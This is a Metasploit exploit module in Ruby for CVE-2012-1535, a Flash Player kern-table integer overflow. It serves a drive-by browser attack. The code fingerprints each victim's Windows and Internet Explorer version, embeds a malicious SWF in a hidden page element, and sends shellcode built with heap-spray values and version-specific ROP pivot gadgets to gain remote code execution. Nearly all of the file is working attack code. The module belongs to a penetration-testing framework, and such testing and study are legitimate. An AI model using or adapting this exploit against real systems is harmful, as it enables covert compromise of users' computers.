##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Adobe Flash Player 11.3 Kern Table Parsing Integer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in the ActiveX component of Adobe
				Flash Player before 11.3.300.271. By supplying a specially crafted .otf font file
				with a large nTables value in the 'kern' header, it is possible to trigger an
				integer overflow, which results in remote code execution under the context of the
				user.  This vulnerability has also been exploited in the wild in limited targeted
				attacks.  Please note in order to ensure reliability, the exploit is forced to
				modify your URIPATH parameter to less than 3 characters, which may cause possible
				URIPATH collisions.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Alexander Gavrun', #Through iDefense
					'sinn3r',
					'juan vazquez'
				],
			'References'     =>
				[
					[ 'CVE', '2012-1535' ],
					[ 'OSVDB', '84607'],
					[ 'BID', '55009'],
					[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ],
					[ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ],
					[ 'URL', 'https://developer.apple.com/fonts/TTRefMan/RM06/Chap6.html' ],
					[ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ],
					[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/08/17/adobe-flash-player-exploit-cve-2012-1535-now-available-for-metasploit' ],
					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-18.html']
				],
			'Payload'        =>
				{
					'Space' => 1024
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Tested successfully on:
					# Flash 11.2.202.233
					# Flash 11.3.300.268
					# Flash 11.3.300.265
					# Flash 11.3.300.257
					[ 'Automatic', {} ],
					[ 'IE 6 on Windows XP SP3',    {'Rop' => nil } ],
					[ 'IE 7 on Windows XP SP3',    {'Rop' => nil } ],
					[ 'IE 8 on Windows XP SP3',    {'Rop' => true, 'ASLR' => false } ],
					[ 'IE 7 on Windows Vista SP2', {'Rop' => nil }],
					[ 'IE 8 on Windows 7 SP1',     {'Rop' => true, 'ASLR' => true } ],
					[ 'IE 9 on Windows 7 SP1',     {'Rop' => true, 'ASLR'   => true } ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Aug 9 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]),
			], self.class)
	end

	def get_payload(t, flash_version=nil)
		if t['Rop'].nil?
			p = [
				0x0c0c0c0c, # mapped at 1e0d0000
				0x0c0c0c0c,
				0x0c0c0c0c, # mapped at 1e0d0008
			].pack("V*")

			p << payload.encoded
			return p
		end

		if t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/
			print_status("Using Rop Chain For Flash: #{flash_version}")
			pivot = [
				0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
				0x0c0c0c0c,
				0x1001d891, # xchg eax, esp # ret (1e0d0008)
			].pack("V*")

			p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.257', 'pivot'=>pivot})

		elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/
			print_status("Using Rop Chain For Flash: #{flash_version}")
			pivot = [
				0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
				0x0c0c0c0c,
				0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
			].pack("V*")

			p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.265', 'pivot'=>pivot})

		elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/
			print_status("Using Rop Chain For Flash: #{flash_version}")
			pivot = [
				0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
				0x0c0c0c0c,
				0x1001d755, # xchg eax, esp # ret (1e0d0008)
			].pack("V*")

			p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.268', 'pivot'=>pivot})

		else
			print_status("Default back to JRE ROP")
			pivot = [
				0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)
				0x0c0c0c0c,
				0x7c348b05, # xchg eax, esp # ret (1e0d0008)
			].pack("V*")

			p = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot})
		end

		return p
	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
			return targets[1]  #IE 6 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
			return targets[2]  #IE 7 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
			return targets[3]  #IE 8 on Windows XP SP3
		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
			return targets[4]  #IE 7 on Windows Vista SP2
		elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
			return targets[5]  #IE 8 on Windows 7 SP1
		elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
			return targets[6]  #IE 9 on Windows 7 SP1
		else
			return nil
		end
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have the same setup we're targeting
		if my_target.nil?
			print_error("Browser not supported: #{agent}")
			send_not_found(cli)
			return
		end

		print_status("Target selected: #{my_target.name}")
		print_status("Client requesting: #{request.uri}")

		# The SWF request itself
		if request.uri =~ /\.swf$/
			print_status("Sending SWF")
			send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
			return
		end

		# The TXT payload request
		if request.uri =~ /\.txt$/
			flash_version = request.headers['x-flash-version']
			shellcode = get_payload(my_target, flash_version).unpack('H*')[0]
			print_status("Sending Payload")
			send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
			return
		end

		#swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"
		swf_uri = "/#{@resource_name}.txt.swf"

		html = %Q|
		<html>
		<head>
		</head>
		<body>
		<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
		<param name="movie" value="#{swf_uri}">
		<param name="FlashVars" value="s=#{@resource_name}">
		</object>
		</body>
		</html>
		|

		html = html.gsub(/^\t\t/, '')

		# we need to handle direct /pay.txt requests
		proc = Proc.new do |cli, req|
			on_request_uri(cli, req)
		end
		add_resource({'Path' => "/#{@resource_name}.txt", 'Proc' => proc}) rescue nil

		print_status("Sending HTML")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end

	def exploit
		@swf = create_swf
		@resource_name = Rex::Text.rand_text_alpha(5)
		vprint_status("SWF Loaded: #{@swf.length.to_s} bytes")

		datastore['URIPATH'] = datastore['URIPATH'] || random_uri
		datastore['URIPATH'] = '/' + datastore['URIPATH'] if datastore['URIPATH'] !~ /^\//
		datastore['URIPATH'] = datastore['URIPATH'][0,3] if datastore['URIPATH'].length > 3
		print_warning("URIPATH set to #{datastore['URIPATH']}")

		super
	end

	def create_swf
		path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1535", "Main.swf" )
		fd = ::File.open( path, "rb" )
		swf = fd.read(fd.stat.size)
		fd.close
		return swf
	end

	def cleanup
		vprint_status("Removing txt resource")
		remove_resource("/#{@resource_name}.txt") rescue nil
		super
	end

end